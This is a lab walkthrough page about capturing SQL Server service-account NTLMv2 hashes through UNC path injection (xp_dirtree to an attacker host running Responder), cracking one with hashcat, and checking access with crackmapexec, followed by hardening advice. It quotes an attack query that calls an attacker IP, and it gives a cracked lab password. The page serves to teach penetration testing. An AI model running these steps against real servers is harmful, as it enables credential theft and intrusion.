Capturing hashes & Relaying
SQL servers by default run as a service with a local account, but might run under a domain user account. These are normally local admin on a server and might be on multiple SQL Servers.
Last updated
SQL servers by default run as a service with a local account, but might run under a domain user account. These are normally local admin on a server and might be on multiple SQL Servers.
Last updated
The configuration has been done during the initial lab setup.
SQL Servers by default runs as a local service under the context of the computeraccount. But it is possible that the SQL service is running as a domain user which is made for the SQL service. For example sa_sql. It is possible that this SQL service is local admin to the current SQL server or multiple SQL servers.
If we are able to capture its NTLMv2 hash we could try to crack it offline or relay it to other SQL servers if they have SMB Signing disabled.
Capturing the hashes is possible if specific functions are enabled on the SQL Server. There are many methods but the main methods are xp_dirtree and xp_fileexist. This page has a lot of methods available. This type of attack is called a UNC PATH injection.
PowerUpSQL Get-SQLServiceAccountPwHashes.ps1
First we will check what happens if you attack a SQL server attacking it with the default configuration. Meaning the SQL Server will run as local service with the context of the computer account. During the setup we installed it as NT Service\xxxxxxx.
The red marking is there from the installation steps, please ignore it.
We will start of from having access to the SQL database running on Web01 using PowerUpSQL. Check out this page if you forgot how we got access.
We can query the SQL server running on WEB01.amsterdam.bank.local as the AMSTERDAM\richard user.
2. This shows us that the server is running as the service account NT Service\MSSQL$DEV which means its running with the system account. There is no way we can crack the computer accounts hash since its a long random password that changes every month. But we can still try to capture it.
We can check if the SQL Server has the vulnerable functions to perform UNC PATH injection with PowerUpSQL.
3. Both methods are available on the WEB01 SQL server. Before we can capture the hash we should run Responder on our Kali Machine:
4. We can execute queries on the SQL server with PowerUpSQL and perform a UNC path injection with xp_dirtree using the following command and query:
The part EXEC xp_dirtree '\\192.168.248.2\pwn', 1, 1 is the SQL query which will execute the UNC PATH injection attack. After executing the command we receive the hash of the computeraccount on our kali machine:
Since its a computer account hash we wont be able to crack it. How do we know its a computer account hash? Computer accounts ends with a Dollar sign $. We could always double check by quering the domain and check if its a computer of normal user or search it up in the bloodhound data.
Now lets capture the hash of the DATA01 SQL server service. Relaying the SQL Server hash isn't implemented in the lab yet, but we can crack the hash of the SQL server service. During the SQL Server installation on DATA01 we configured it to run as the domain user sa_sql.
We will start of from having access to the SQL database running on DATA01 using PowerUpSQL. Check out this page if you forgot how we got access.
Running the following query we were able to execute SQL queries on the DATA01 database through the SQL-link configure between WEB01 and DATA01.
2. With Responder running from the previous capture we can execute the same UNC path injection attack to capture its hash, but now through the SQL link.
3. We captured the NTLMV2 hash from SECURE\sa_sql. We can try to crack it using hashcat. Save the following in a hash.txt file and run the following hashcat command.
Hashcat cracked it within second since the user has a weak password:
4. The password for sa_sql is IIoveyou2. We can check if we can access the SQL Server with this account using crackmapexec, which will authenticate over SMB. If it shows Pwn3d we are localadmin.
The password is correct but the user isn't local admin unfortunately. But the user can be used to exploit something. We will continue with the attack on the following page.
Use Managed Service accounts or Group Managed Service Accounts for SQL Server accounts or run them as the system user.
If a domain user account is required restrict the logon on the account using GPO's to the specific server.
Require SMB Signing on all servers.
Use strong passwords for these accounts.
